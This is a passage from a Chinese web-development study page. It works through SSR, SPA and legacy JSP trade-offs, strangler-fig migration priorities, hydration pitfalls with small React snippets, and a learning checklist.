原因说明
页面看起来"正常" ★只是那一段是空的——没有报错、没有警告 ✗
数据错误被掩盖${user.phone} 打不出来时,可能是"用户没填",也可能是"字段名写错了"——两者看起来一样 ⚠️
上线才发现开发时用的测试数据恰好有值,生产数据没有 ✗
排查成本高"为什么这一列是空的?" —— 要一路查到模板、模型、SQL

对比两种设计:

设计行为评价
静默留空(多数模板引擎的默认)输出空字符串⚠️ 方便,但会掩盖错误
报错直接抛异常✅ 开发/测试环境推荐(问题立刻暴露)
可见标记 + 警告(本实现)输出 <!-- missing: xxx -->✅ 折中(页面能看,开发者也能感知)✓

Thymeleaf 的做法值得借鉴:开发环境严格模式(缺 key 报错),生产环境宽松(避免用户看到错误页) ✓

这与 《Spring Boot 配置管理与多环境》 的"配置错误启动就失败"、《参数校验与全局异常处理》 的"参数校验"是同一条原则:

"宁可早失败,不要静默降级" ✓

"静默"是 bug 最好的藏身处 ✓

综合任务(第 7 题)

A、B 的渲染方案选型

系统方案理由
A. 电商商品页SSR(或 SSG + ISR) ★① 需要 SEO(商品页要被搜索引擎收录)✓ ② 首屏要快(影响转化率)✓ ③ 内容型页面(变化不频繁)→ SSG 甚至更优(构建时生成静态页)
B. 内部运营后台纯前后端分离(SPA) ★① 不需要 SEO ✓ ② 用户在内网,首屏慢一两百毫秒无所谓 ✓ ③ 重交互(表格、图表、拖拽)→ SPA 更合适 ✓ ④ 部署简单(静态文件 + API)✓
C. 老系统(JSP)见下—

为什么"内部系统用 SSR"是浪费:

SSR 的成本内部系统的收益
服务端要跑前端代码(占 CPU、要扩容)✗不需要 SEO ✗
部署变复杂(Node 服务 + API 服务)✗内网延迟低,首屏影响小 ✗
缓存策略变复杂 ✗用户数量少(几百人)✗
Hydration 不一致的调试成本 ✗—

结论:"技术先进"不等于"合适" ✓

C(JSP 老系统)的两种策略:

策略适用条件做法
继续维护① 业务稳定、变更少 ② 团队熟悉 ③ 没有多端需求保持现状,只做安全加固:统一转义、升级依赖、补日志 ✓
逐步迁移① 要加新功能 ② 有 App 需求 ③ 招不到会 JSP 的人绞杀者模式(Strangler Fig):新功能用新架构,老功能逐个替换 ✓

迁移的优先级(这是本题的关键):

优先级迁哪些页面理由
1(最高)新功能新代码直接写新架构,零迁移成本 ✓
2改得最频繁的页面迁移的收益 = "以后每次改都省事" ✓
3流量最大的页面性能收益最大
4有安全问题的页面顺便修掉
最低几年没人动的页面迁它没有任何收益 ✗

⚠️ "全部重写"是最大的陷阱 ✗

老系统里沉淀了大量"只有线上才暴露的边界情况"——重写会全部丢掉 ✓

绞杀者模式的价值:一次只换一块,每换一块都能上线验证、随时可回退 ✓

这与 《MySQL 性能优化基础》 的"归档优于分库分表"、《Spring Boot 配置管理与多环境》 的"渐进式优化"是同一种思维方式 ✓

如果新增了 App 端:

系统调整
A. 电商商品页后端必须先有 API(App 要用)→ SSR 那层改成"调用 API 渲染" ✓(本来就是这么做的)
B. 运营后台不变(本来就是 API + SPA)✓
C. 老系统必须迁移 ✗ ——JSP 渲染的 HTML 给不了 App ✓

第三行是关键:

"多端需求"是压垮服务端渲染的最后一根稻草 ✓

一旦需要支持 App,后端就必须退化成"只提供数据",渲染的多样性交给各个客户端 ✓

"请求到渲染的时间线"对比:

text
【纯前后端分离(SPA)】
  用户点链接
      │
      ├─ ① 下载 HTML 骨架(很小,但**内容是空的**)        ~50ms
      ├─ ② 下载 JS bundle(几百 KB ~ 几 MB)✗             ~500ms
      ├─ ③ 执行 JS、框架初始化                            ~200ms
      ├─ ④ 发起 API 请求                                  ~100ms
      ├─ ⑤ 收到数据、渲染
      ▼
  用户看到内容                     ← 累计约 850ms ✗(还得看用户网速)
  用户首次看到"有内容"之前,页面是**白屏或骨架屏**

【SSR】
  用户点链接
      │
      ├─ ① 服务端渲染 HTML(含数据)                      ~150ms
      │      (服务端在机房里请求数据,通常比用户快得多)
      ▼
  用户**立刻看到完整内容** ✓      ← 约 150ms(只等一个 HTML)

      ├─ ② 后台继续下载 JS bundle                        ~500ms
      ├─ ③ Hydration(接管页面,之后可交互)              ~200ms
      ▼
  页面变得可交互                   ← 约 850ms(与 SPA 相同)

关键差别:

时刻SPASSR
看到内容~850ms ✗~150ms ✓
可交互~850ms~850ms(一样)

这张表说明了 SSR 的本质:

SSR 并没有让"可交互"变快,它只是让"看到内容"变快了 ✓

所以 SSR 适合"内容为主、交互为辅"的页面(电商、新闻);对"交互为主"的页面(后台表格、编辑器)收益很小 ✗

而"看到内容快"这件事对电商的转化率、对 SEO 的抓取,都是实打实的影响 ✓

SSR 引入的新问题:

#问题说明
1服务端压力渲染从"每个用户的浏览器"挪到了"几台服务器" ✗ ——必须做缓存(CDN、页面缓存)✓
2Hydration 不一致 ★服务端与浏览器渲染结果不同 → React 会报错/丢弃服务端内容 ⚠️
常见原因:Date.now()、Math.random()、window/localStorage 在服务端不存在
3状态同步服务端请求的数据要"传给"浏览器(通常序列化进 HTML),不能重复请求 ⚠️
4缓存策略复杂页面级缓存 / 数据缓存 / CDN 缓存要分层设计 ✗
5调试更难同一个页面在服务端与浏览器各跑一遍,bug 可能只在一边出现 ✗
6部署形态变化从"静态文件 + API"变成"Node 服务 + API"——多了一个要运维的东西 ✗

第 2 条最值得展开(它是 SSR 最常见的坑):

javascript
// ✗ 服务端渲染时 window 是 undefined → 报错
const theme = window.localStorage.getItem('theme');

// ✗ 服务端与客户端的时间不同 → 渲染结果不同 → Hydration 不匹配
<div>{new Date().toLocaleString()}</div>

// ✓ 只在客户端执行(useEffect / onMounted)
useEffect(() => {
    setTheme(window.localStorage.getItem('theme'));
}, []);

这带来一条实用的判断:

"这个页面的内容,是否依赖"浏览器独有的东西"(localStorage、window、设备信息、时间)?"

  • 依赖很少 → SSR 收益大 ✓
  • 依赖很多 → SSR 会很痛苦,考虑"骨架屏 + 客户端渲染" ✗

最后回到本节的起点:

从"Java 拼 HTML"到 JSP,到前后端分离,再到 SSR——每一代都在解决上一代的问题,同时引入新的问题。

没有"最好的方案",只有"最适合当前场景的方案" ✓

而理解这条演进链的价值在于:下次有人推荐某个"新技术"时,你能问出"它在解决什么问题、代价是什么"。 ✓

13. 掌握标准 ​

  • [ ] 能说出服务端渲染的四代做法及各自取舍;
  • [ ] 知道 JSP 会被编译成 Servlet,并能据此解释它的各种现象;
  • [ ] 能说出 JSP 的四个作用域与"Servlet 传数据给视图"为什么用 request;
  • [ ] 知道 JSTL 的定位(用受限标签替代任意 Java)与 <c:out> 的默认转义;
  • [ ] 能说出 XSS 的原理与转义的五个字符(& 必须最先替换);
  • [ ] 知道"转义要发生在输出时,而不是存储时";
  • [ ] 能说出前后端分离取代 JSP 的原因(尤其是"多端需求");
  • [ ] 能说出 SSR 为什么回来、它与 JSP 时代的区别;
  • [ ] 知道 SSR 只优化"看到内容"的时刻,不优化"可交互";
  • [ ] 能读懂遗留项目里的一段 JSP,知道 /WEB-INF 下放 JSP 的意义。

14. 扩展资源 ​

15. 下一步学习 ​

Web 底层四节到此完成。接下来可以:

后续知识

暂无

进度只保存在本机浏览器,可随时清除

个人学习项目:AI 生成内容均经人工复核,第三方资源仅作索引